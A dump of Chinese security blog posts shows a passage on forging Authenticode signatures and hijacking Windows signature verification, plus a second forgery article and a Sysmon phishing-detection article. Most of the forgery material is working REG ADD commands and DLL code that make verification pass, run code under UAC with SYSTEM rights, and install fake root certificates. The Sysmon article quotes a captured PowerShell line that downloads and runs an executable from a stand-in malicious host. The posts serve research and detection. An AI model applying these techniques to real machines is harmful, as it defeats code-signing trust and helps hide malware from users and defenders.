0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}下的dll和FuncName</p><p>通过c++实现，创建dll，添加导出函数，格式参照CryptSIPVerifyIndirectData，代码如下：</p><code lang=\"text\">BOOL WINAPI CryptSIPVerifyIndirectData(SIP_SUBJECTINFO *pSubjectInfo, SIP_INDIRECT_DATA *pIndirectData){return TRUE;}</code><p>编译生成signtest.dll</p><p>修改注册表：</p><code lang=\"text\">REG ADD \"HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:testsigntest.dll\" /fREG ADD \"HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"CryptSIPVerifyIndirectData\" /f</code><p>重新启动cmd，使用powershell进行验证：</p><code lang=\"text\">Get-AuthenticodeSignature .si.exe</code><p>显示Valid，校验成功</p><p>如下图</p><img src=\"v2-dd77614378fe2889eda5641654b72d01.jpg\" data-caption=\"\" data-rawwidth=\"675\" data-rawheight=\"482\"><p>通过signtool.exe验证：</p><code lang=\"text\">signtool.exe verify /v si.exe</code><p>验证通过</p><p>通过sigcheck.exe验证：</p><code lang=\"text\">sigcheck.exe -q si.exe</code><p>验证通过，如下图</p><img src=\"v2-376389a4fcf64b103b12dd2589b23e66.jpg\" data-caption=\"\" data-rawwidth=\"636\" data-rawheight=\"269\"><p>重启explorer.exe，查看文件属性，签名状态，显示签名生效，如下图</p><img src=\"v2-1a61f809956c95696c5f01d71978ffa0.jpg\" data-caption=\"\" data-rawwidth=\"459\" data-rawheight=\"558\"><p>更进一步，<b>dll一定要固定格式吗？</b></p><p>于是进行接下来的测试：</p><p>导出函数名为test1，完整代码如下：</p><code lang=\"text\">BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){return TRUE;}BOOL WINAPI test1(){return TRUE;}</code><p>修改对应注册表键值：</p><code lang=\"text\">REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:testsigntest.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"test1\" /f</code><p>测试仍能够绕过验证</p><p>这就说明，只要dll的导出函数返回TRUE，就能够绕过验证</p><p>所以，可以查找系统默认的dll，找到一个导出函数返回true即可（当然，此处可供利用的导出函数有很多）</p><p>例如\"C:\\Windows\\System32\\ntdll.dll\"</p><p>导出函数：DbgUiContinue</p><p>代码如下：</p><code lang=\"text\">REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:\\Windows\\System32\\ntdll.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"DbgUiContinue\" /f</code><p>这样，就不需要在系统上留下自己编写的dll</p><p>对于64位系统，存在32位的注册表键值</p><p>如果使用32位的程序，如32位的signtool和sigcheck，为了绕过验证，还需要修改32位的注册表键值，对应代码如下：</p><code lang=\"text\">REG ADD \"HKLM\\SOFTWARE\\Wow64\\32\\Node\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:\\Windows\\System32\\ntdll.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Wow64\\32\\Node\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"DbgUiContinue\" /f</code><h2><b>0x04 签名验证劫持</b></h2><p>修改注册表，编写dll实现对签名验证过程的绕过，如果我们在dll的导出函数里面加入自己的代码，这就实现了签名验证劫持</p><p>在签名验证中加入执行代码：</p><code lang=\"text\">BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){return TRUE;}BOOL WINAPI test1(){WinExec(\"calc.exe\",SW_SHOWNORMAL);return TRUE;}</code><p>只要涉及签名验证的操作，加载我们自己的dll，就会弹出计算器</p><p>以下程序会使用签名验证操作：</p><p>· DllHost.exe – When the “Digital Signatures” tab is displayed in file properties</p><p>· Process Explorer – When the “Verified Signer” tab is displayed</p><p>· Autoruns</p><p>· Sigcheck</p><p>· consent.exe – Any time a UAC prompt is displayed</p><p>· signtool.exe</p><p>· smartscreen.exe</p><p>· Get-AuthenticodeSignature</p><p>· Set-AuthenticodeSignature</p><p>· Security vendor software that performs certificate validation based on calls to WinVerifyTrust.</p><p><b>注：</b></p><p>该处引用自<a href=\"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf\">《Subverting Trust in Windows》</a> Page33</p><p>例如，查看文件属性-数字签名详细信息，加载dll，弹出计算器，如下图</p><img src=\"v2-02b157b1a69d4e283cf0c0bafd352781.jpg\" data-caption=\"\" data-rawwidth=\"639\" data-rawheight=\"480\"><p>特别的，以管理员权限执行程序会弹出UAC，如果对此进行劫持，此时的权限为system</p><p>完整操作如下图</p><img src=\"v2-a634a594a8c3d8d033e0cec78d3139c3.gif\" data-caption=\"\" data-rawwidth=\"1035\" data-rawheight=\"766\" data-thumbnail=\"https://pic4.zhimg.com/v2-a634a594a8c3d8d033e0cec78d3139c3_b.jpg\"><p><b>补充：</b></p><p><b>1、dll劫持</b></p><p>有些GUID，默认注册表的dll路径为相对路径，这里就存在dll劫持的问题，不需要修改注册表也能实现绕过签名验证</p><p><b>2、Hiding from Autoruns</b></p><p>启动项检测工具Autoruns默认不显示带有微软签名的文件，如下图</p><img src=\"v2-e5b6e829974577c3cc50e8b721b40104.jpg\" data-caption=\"\" data-rawwidth=\"684\" data-rawheight=\"222\"><p>如果文件包含微软签名，默认不会显示在Autoruns面板</p><h2><b>0x05 防御建议</b></h2><p>部分白名单程序默认会信任带有微软证书的文件，这里就存在隐患</p><p>建议不要盲目相信证书</p><h2><b>0x06 小结</b></h2><p>本文介绍了Authenticode签名的相关利用技巧——PE文件的签名伪造与签名验证劫持，下一篇文章将继续介绍Authenticode签名的伪造技巧——针对文件类型的签名伪造。</p><p>最后感谢Matt Graeber的分享。</p><blockquote>本文为 3gstudent 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑： <a href=\"http://www.4hou.com/system/7937.html\">http://www.4hou.com/system/7937.html</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-16T06:24:13.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":1,"state":"published","isLiked":false,"slug":"30157991","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-16T14:24:13+08:00","links":{"comments":"/api/posts/30157991/comments"},"url":"/p/30157991","titleImage":"","summary":"","href":"/api/posts/30157991","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":1},"30159426":{"title":"Authenticode签名伪造——针对文件类型的签名伪造","author":"hou-hou-4-12","content":"<h2><b>0x00 前言</b></h2><p>在上篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》介绍了针对单一文件的Authenticode签名伪造，需要在文件尾部添加伪造的签名数据，这次将介绍另一种签名伪造方式：通过修改系统的签名获取机制，欺骗系统将正常文件识别为包含签名数据。</p><p><b>注：</b></p><p>本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料，本文将结合自己的经验，整理相关内容，添加个人理解。</p><p><b>参考资料：</b></p><p><a href=\"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf\">https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf</a></p><p><a href=\"http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html\">http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html</a></p><p><a href=\"https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view\">https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view</a></p><h2><b>0x01 简介</b></h2><p>本文将要介绍以下内容：</p><p>· 针对powershell脚本的签名伪造方法</p><p>· 针对PE文件的签名伪造方法</p><p>· 针对其他类型文件的签名伪造方法</p><p>· 添加代码实现对特定文件的签名伪造</p><h2><b>0x02 针对powershell脚本的签名伪造方法</b></h2><p>前提是powershell脚本需要包含一个签名(自己生成的签名会被识别为无效)，下面介绍如何将该无效签名伪造成有效的微软签名</p><p>生成测试证书：</p><code lang=\"text\">makecert -n \"CN=Microsoft Windows Test1\" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cercert2spc certtest.cer certtest.spcpvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f</code><p>不需要注册该证书</p><p><b>注：</b></p><p>使用makecert.exe要加参数： -eku 1.3.6.1.5.5.7.3.3</p><p>否则提示证书无法用于代码签名，具体错误如下：</p><p>Set-AuthenticodeSignature : Cannot sign code. The specified certificate is not <br>suitable for code signing.</p><p>如下图</p><img src=\"v2-61316ebb3ffb0e82220a814b0e5eb2f0.jpg\" data-caption=\"\" data-rawwidth=\"648\" data-rawheight=\"127\"><p>给powershell脚本签名：</p><code lang=\"text\">$cert = Get-PfxCertificate certtest.pfxSet-AuthenticodeSignature -Filepath 1.ps1 -Cert $cert</code><p>验证证书：</p><code lang=\"text\">Get-AuthenticodeSignature .1.ps1</code><p>提示UnknownError，表示文件签名无效</p><p>如下图</p><img src=\"v2-30412b9bb1582e69091517328d400738.jpg\" data-caption=\"\" data-rawwidth=\"645\" data-rawheight=\"190\"><p>修改注册表，命令如下：</p><code lang=\"text\">REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\" /v \"Dll\" /t REG_SZ /d \"C:\\test\\MySIP.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\" /v \"FuncName\" /t REG_SZ /d \"AutoApproveHash\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllGetSignedDataMsg\\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\" /v \"Dll\" /t REG_SZ /d \"C:\\test\\MySIP.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllGetSignedDataMsg\\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\" /v \"FuncName\" /t REG_SZ /d \"GetLegitMSSignature\" /f</code><p>再次验证：</p><code lang=\"text\">Get-AuthenticodeSignature .1.ps1</code><p>显示Valid，签名有效</p><p>如下图</p><img src=\"v2-86382e7aa6105f1030ac14eeb580d631.jpg\" data-caption=\"\" data-rawwidth=\"587\" data-rawheight=\"195\"><p><b>注：</b></p><p>不同系统下相同名称的文件签名不同</p><code lang=\"text\">AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033为Matt Graeber测试系统中的notepad.exe签名hash</code><p>现在在我们自己的系统进行测试：Win10 x64</p><p>分别获取notepad.exe的签名信息：</p><code lang=\"text\">Get-AuthenticodeSignature c:\\windows\\system32\\notepad.exe\nsigcheck -i C:\\Windows\\System32\\notepad.exe</code><p>可以发现sigcheck的输出内容中，Thumbprint对应文件签名hash，如下图</p><img src=\"v2-dbcac4a720a98c1b97f020e0770c5dac.jpg\" data-caption=\"\" data-rawwidth=\"886\" data-rawheight=\"654\"><p>接下来，将测试系统改为Win7 x86</p><p>在Win7下使用Get-AuthenticodeSignature无法获得notepad.exe的签名信息(catalog签名)</p><p>如下图</p><img src=\"v2-51cef164f731ed1e600cd3a9e6dc5dcd.jpg\" data-caption=\"\" data-rawwidth=\"643\" data-rawheight=\"179\"><p>但可以通过sigcheck获得，如下图</p><img src=\"v2-6f963d9b560325fc910e5c22c14274b7.jpg\" data-caption=\"\" data-rawwidth=\"661\" data-rawheight=\"438\"><p>hash为：018B222E21FBB2952304D04D1D87F736ED46DEA4</p><p>定位cat文件路径：C:\\Windows\\system32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\ntexe.cat</p><p>.cat文件保存格式为ASN.1标准，直接通过记事本无法查看，需要解密，在线网址如下：</p><p><a href=\"https://lapo.it/asn1js/\">https://lapo.it/asn1js/</a></p><p>选择cat文件后即可解密显示完整格式</p><p>格式解析可参考：</p><p><a href=\"https://support.microsoft.com/en-us/help/287547/object-ids-associated-with-microsoft-cryptography\">https://support.microsoft.com/en-us/help/287547/object-ids-associated-with-microsoft-cryptography</a></p><p>将该文件替换PoCSubjectInterfacePackage工程中的MS_cert.bin，重新编译</p><p>配置注册表</p><p>打开一个新的cmd，查看powershell脚本签名：</p><code lang=\"text\">Get-AuthenticodeSignature .1.ps1</code><p>同sighcheck获取的hash值保持一致，如下图</p><img src=\"v2-9e65f2ca5c9856eaff545e244e5f0c37.jpg\" data-caption=\"\" data-rawwidth=\"653\" data-rawheight=\"667\"><p>powershell脚本的Authenticode签名伪造成功</p><p>对以上操作直观的理解：</p><p><b>该方法是通过修改系统证书验证过程，使文件将指定的catalog签名作为自己的Authenticode签名</b></p><p>当然，所有带签名的powershell脚本均会统一成hash为018B222E21FBB2952304D04D1D87F736ED46DEA4的签名，这就带来了一个问题：这样会影响正常系统文件的签名校验</p><p>我们可以看到，通过这种方式伪造的签名会作用于所有powershell脚本，那么，我们能否针对特定powershell脚本作伪造呢？</p><p>以Matt Graeber开源的工程PoCSubjectInterfacePackage作为模板进行修改，下载地址如下：</p><p><a href=\"https://github.com/mattifestation/PoCSubjectInterfacePackage\">https://github.com/mattifestation/PoCSubjectInterfacePackage</a></p><p>重点关注函数GetLegitMSSignature，在线地址：</p><p><a href=\"https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138\">https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138</a></p><p>查看结构SIP_SUBJECTINFO *pSubjectInfo的参数说明，地址如下：</p><p><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/bb736434(v=vs.85).aspx\">https://msdn.microsoft.com/en-us/library/windows/desktop/bb736434(v=vs.85).aspx</a></p><p>pwsFileName和pwsDisplayName均能够表示文件名称，所以可通过MessageBox进行验证</p><p>函数GetLegitMSSignature内添加如下代码：</p><code lang=\"text\">MessageBox (NULL, pSubjectInfo-&gt;pwsFileName, pSubjectInfo-&gt;pwsDisplayName,0);</code><p>进行测试，成功获得传入文件名，如下图</p><img src=\"v2-3ecffc21765e51896663bfcc7829a0ae.jpg\" data-caption=\"\" data-rawwidth=\"587\" data-rawheight=\"261\"><p>接下来的思路：</p><p>对传入的文件名称进行判断，满足条件的文件加载对应的catalog签名，最终实现对特定文件的签名伪造</p><p>筛选文件的代码如下：</p><code lang=\"text\">if(lstrcmpi((LPCTSTR)pSubjectInfo-&gt;pwsFileName,L\"C:\\test\\cer1.ps1\")==0){MessageBox (NULL,L\"Get selected file\", (LPCTSTR)pSubjectInfo-&gt;pwsFileName,0) ;}</code><p>完整代码可参考：</p><p><a href=\"https://raw.githubusercontent.com/3gstudent/test/master/MySIP.c\">https://raw.githubusercontent.com/3gstudent/test/master/MySIP.c</a></p><p>当前文件为C:testcer1.ps1时，符合条件，进行签名伪造，否则放弃</p><p>测试如下图</p><img src=\"v2-27e4ab0caf798b69f2c6e730c8a35a66.jpg\" data-caption=\"\" data-rawwidth=\"664\" data-rawheight=\"406\"><p>成功实现对特定文件的签名伪造，这种方式的优点是不需要在文件尾部添加Authenticode签名，不改变文件hash</p><p>当然，这仅仅是一个POC，还要对系统文件的签名验证做判断</p><h2><b>0x03 针对PE文件的签名伪造方法</b></h2><p>参考这个列表：</p><p>· C689AAB8-8E78-11D0-8C47-00C04FC295EE – PE</p><p>· DE351A43-8E59-11D0-8C47-00C04FC295EE – catalog .cat文件</p><p>· 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE – CTL .ctl文件</p><p>· C689AABA-8E78-11D0-8C47-00C04FC295EE – cabinet .cab文件</p><p>如果替换exe文件的校验，即CryptSIPDllVerifyIndirectData和CryptSIPDllGetSignedDataMsg，命令如下：</p><code lang=\"text\">REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:\\test\\MySIP.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"AutoApproveHash\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:\\test\\MySIP.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OIDEncoding\\Type 0\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"GetLegitMSSignature\" /f</code><p>重启explorer.exe，所有的exe文件都包含hash为：018B222E21FBB2952304D04D1D87F736ED46DEA4的签名</p><p>特别的地方：伪造的签名来自于cat文件，但是会以Authenticode签名的格式显示，通过文件属性能够看到签名信息(这是Authenticode签名的特性，catalog签名不具有该特性)</p><p>同样，修改原工程能够实现针对特定PE文件的签名伪造，方法不再赘述</p><h2><b>0x04 针对cat文件的签名伪造方法</b></h2><p>如果对所有.cat文件的签名验证过程进行替换，再将其添加到安全编录数据库中，那么，包含catalog签名的PE文件是否也随即获得伪造签名呢？</p><p>下面开始测试：</p><p>新建文本文档cat.txt，内容如下：</p><code lang=\"text\">[CatalogHeader]Name=makecat1.cat[CatalogFiles]&lt;hash&gt;ExeFile1=mimikatz.exe</code><p><b>注：</b></p><p>txt文件尾部需要一个空行，否则，在接下来的操作会报错，提示文件无法找到</p><p>使用makecat.exe生成makecat1.cat：</p><code lang=\"text\">makecat -v cat.txt</code><p>为makecat1.cat添加伪造的Authenticode签名：</p><code lang=\"text\">signtool sign /f certtest.pfx /p 123456 makecat1.cat</code><p><b>注：</b></p><p>certtest.pfx不能使用之前手动生成的证书，不能加参数： -eku 1.3.6.1.5.5.7.3.3，否则exe文件的catalog签名将会校验失败</p><p>生成certtest.pfx的操作如下：</p><code lang=\"text\">makecert -n \"CN=Microsoft Windows Test1\" -r -sv certtest.pvk certtest.cercert2spc certtest.cer certtest.spcpvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f</code><p>此处还需要将证书安装到“受信任的根证书颁发机构”存储区</p><p>管理员权限：</p><code lang=\"text\">certmgr.exe -add -c certtest.cer -s -r localmachine root</code><p>否则，之后的签名验证会报错，提示证书链不可信</p><p><b>补充：</b></p><p>从“受信任的根证书颁发机构”存储区删除证书的操作为：</p><p>(管理员权限)</p><code lang=\"text\">certmgr.exe -del -c -n \"Windows Test1\" -s -r localMachine Root</code><p>cat文件对应GUID:DE351A43-8E59-11D0-8C47-00C04FC295EE</p><p>替换注册表键值：</p><code lang=\"text\">REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{DE351A43-8E59-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:\\test\\MySIP.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData\\{DE351A43-8E59-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"AutoApproveHash\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllGetSignedDataMsg\\{DE351A43-8E59-11D0-8C47-00C04FC295EE}\" /v \"Dll\" /t REG_SZ /d \"C:\\test\\MySIP.dll\" /fREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllGetSignedDataMsg\\{DE351A43-8E59-11D0-8C47-00C04FC295EE}\" /v \"FuncName\" /t REG_SZ /d \"GetLegitMSSignature\" /f</code><p>重启explorer.exe，所有的cat文件签名均为Microsoft Windows</p><p>将makecat1.cat添加到系统的安全编录数据库：</p><p>(管理员权限)</p><code lang=\"text\">signtool catdb -v makecat1.cat</code><p>最终，发现文件的catalog签名保持不变，无法进行伪造</p><p>得出结论： <b>这种方式无法对catalog签名进行伪造</b></p><h2><b>0x05 小结</b></h2><p>本文介绍了Authenticode签名伪造的另一种利用方法：通过修改系统的签名获取机制，欺骗系统将正常文件识别为包含签名数据。</p><p>经过这两篇文章的测试，得出最终结论：应谨慎对待系统的Authenticode签名，因为通过修改注册表或dll劫持等方式均能够伪造出微软签名，对此，白名单等防御机制不应盲目相信Authenticode签名过的文件。</p><p><br></p><blockquote>本文为 3gstudent 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑： <a href=\"http://www.4hou.com/system/7938.html\">http://www.4hou.com/system/7938.html</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-16T06:48:11.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":0,"state":"published","isLiked":false,"slug":"30159426","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-16T14:48:11+08:00","links":{"comments":"/api/posts/30159426/comments"},"url":"/p/30159426","titleImage":"","summary":"","href":"/api/posts/30159426","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":0},"30160513":{"title":"如何使用Sysmon寻找带宏的Word恶意文档","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-3b14095935ae501200363590942eed38.jpg\" data-caption=\"\" data-rawwidth=\"220\" data-rawheight=\"220\"><p><br></p><p>之前的文章，我已经多次介绍过关于sysmon，简单来说Sysmon是一个能监视你系统的轻量级工具。</p><p><b>sysmon介绍</b></p><p>sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具。它以系统服务和设备驱动程序的方法安装在系统上，并保持常驻性。sysmon用来监视和记录系统活动，并记录到windows事件日志，可以提供有关进程创建，网络链接和文件创建时间更改的详细信息。</p><p>通过收集使用Windows事件集合或SIEM代理生成的事件，然后分析它们，你可以识别恶意或异常活动，并了解入侵者和恶意软件在你的网络上如何操作。</p><p>所以，本文我会介绍一下如何使用Sysmon寻找带宏的Word恶意文档。</p><p><b>使用场景</b></p><p>目前钓鱼攻击肆虐，稍微一不小心就可能被攻击。最常见的钓鱼手段就是攻击者会发送一些带有链接或Word文档附件的诱骗电子邮件，当用户打开时，恶意行为就会开启。所以如果能在带宏的Word恶意文档打开之时，用Sysmon进行提前检测，那被攻击的概率就会下降很多。</p><p><b>电子邮件</b></p><p>以下是用户收到的一些电子邮件的形式，有的带有链接有的是带有附近。</p><p><br></p><img src=\"v2-46d3847d6894792532dd2196dd6a5715.jpg\" data-caption=\"\" data-rawwidth=\"384\" data-rawheight=\"446\"><p><br></p><p>当用户采取以下操作时，就将看到使用sysmon记录的操作。我还将包括字段名，以防你有ELK设置，以便于在你的环境中轻松搜索这些命令或进程。</p><p>你将看到以下这3个捕获的Sysmon事件ID：</p><p><b>事件ID 1</b>：进程创建，进程创建事件提供了有关新创建的进程的扩展信息。比如，完整的命令行提供了进程执行的上下文，ProcessGUID字段是跨域标识某个进程的唯一字符，以便更加方便地处理相关事件，另外，所用的哈希算法都用的是HashType字段且为完整的哈希字段。</p><p><b>事件ID 11</b>：FileCreate，创建或覆盖文件时，这些创建操作会被记录下来。此事件对于监控自动启动位置，如启动文件夹目录、临时目录、下载目录非常有用，而这些目录正是初始感染阶段恶意运行要用到的目录。</p><p><b>事件ID 15</b>：FileCreateStreamHash，当创建命名文件流时就会生成该事件，事件日志中会记录下文件流所对应的文件内容的哈希值以及命名文件流的内容。有一些恶意软件可以通过浏览器下载来删除它们的可执行文件或配置设置，而这个事件的目的是基于MOTW（mark of the web）区域，以捕获这个区域的文件流。MOTW 是一个注释作为标签添加到网页中的，当用户打开存储在本地的网页文档时，浏览器通过读这个注释判断是否在安全区域。</p><p><b>寻找带宏的Word恶意文档 </b></p><p><b>点击钓鱼链接</b></p><p><br></p><img src=\"v2-d23de51b1c94af59e192322cf3faa22d.jpg\" data-caption=\"\" data-rawwidth=\"1026\" data-rawheight=\"272\"><p><br></p><p>捕捉到的事件代码段如下：</p><code lang=\"text\">EventID: 1\nevent_data.ParentCommandLine: “C:\\Program Files (x86)\\Microsoft Office\\Office14\\OUTLOOK.EXE”\nevent_data.Image: C:\\Program Files\\Internet Explorer\\iexplore.exe\nevent_data.CommandLine: “C:\\Program Files\\Internet Explorer\\iexplore.exe” https://Dcompany.life_qliwiwkwstxrkgbbz_bdfnccd&amp;d=DwMF-Q&amp;c=LQ_lgKiodJdZA\nevent_data.User: PhishedUser</code><p><br></p><p>让我给你解读一下该代码段：PhishedUser点击了Outlook中的一个链接，启动了IE浏览器，并打开了一个叫https://company.life_q…..com的网站。</p><p><b>Word恶意文档的下载</b></p><p><br></p><img src=\"v2-978a2447b51c3852d7a68ba5ba303c3e.jpg\" data-caption=\"\" data-rawwidth=\"1026\" data-rawheight=\"148\"><p><br></p><p>捕捉到的事件代码段如下：</p><code lang=\"text\">EventID: 11\nevent_data.Image: C:\\Program Files (x86)\\Internet Explorer\\IEXPLORE.EXE\nevent_data.TargetFilename: C:\\Users\\PhisedUser\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\POHSQH12\\6E713D2A.doc</code><p>让我给你解读一下该代码段：IE浏览器下载了一个名为6E713D2A.doc的文件。请注意：日志有时可能会显示为.tmp文件，这是因为有些事件在日志记录时，还未下载未完成。</p><p><b>Word恶意文档的打开</b></p><p><br></p><img src=\"v2-15986a2d6bb52772eb931fa4e4f98cdc.jpg\" data-caption=\"\" data-rawwidth=\"1023\" data-rawheight=\"147\"><p><br></p><p>捕捉到的事件代码段如下：</p><code lang=\"text\">EventID: 1\nevent_data.Image: C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\nevent_data.TargetFilename: C:\\Users\\PhisedUser\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\POHSQH12\\6E713D2A.doc</code><p>让我给你解读一下该代码段：用户打开了6E713D2A.doc文件。</p><p><b>启用宏的Word文档</b></p><p><br></p><img src=\"v2-113a18eda3cde53a6a27567288f55560.jpg\" data-caption=\"\" data-rawwidth=\"1028\" data-rawheight=\"349\"><p><br></p><p>捕捉到的事件代码段如下：</p><code lang=\"text\">EventID: 1\nevent_data.ParentImage: C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\nevent_data.ParentCommandLine: “C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE” -Embedding\nevent_data.Image: C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\nevent_data.CommandLine: powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = ‘http://Malicioussite.su/z3FRJz’.Split(‘,’);$path = $env:temp + ‘65536.exe’;foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}\nevent_data.User: PhisedUser</code><p>让我给你解读一下该代码段：带有宏的Word恶意文档被启动，并运行了一个powershell命令，该命令正在尝试从http://Malicioussite.su/z3FRJz下载一个名为65536.exe的可执行文件。</p><p><b>通过Powershell下载的有效载荷</b></p><p><br></p><img src=\"v2-2d3b4159e86d740a182544f4405bb1a5.jpg\" data-caption=\"\" data-rawwidth=\"771\" data-rawheight=\"135\"><p><br></p><p>捕捉到的事件代码段如下：</p><code lang=\"text\">event_id: 11\nevent_data.Image: C:\\Windows\\SysWOW64\\Windows\\PowerShell\\v1.0\\powershell.exe\nevent_data.TargetFilename: C:\\Users\\PhisedUser\\AppData\\Local\\Temp\\65536.exe</code><p>让我给你解读一下该代码段：Powershell将65536.exe下载到C:\\Users\\PhisedUser\\AppData\\Local\\Temp</p><p>在该恶意软件启动之后，就可以执行各种恶意攻击了，例如加密用户的文件，或者建立某种持久性攻击。不过如果你感兴趣，那你可以了解Sysmon记录的其它恶意操作，以确切地知道进行了哪些更改，比如，<a href=\"http://syspanda.com/index.php/2017/08/25/critical-control-2/\">未经授权的软件</a>，<a 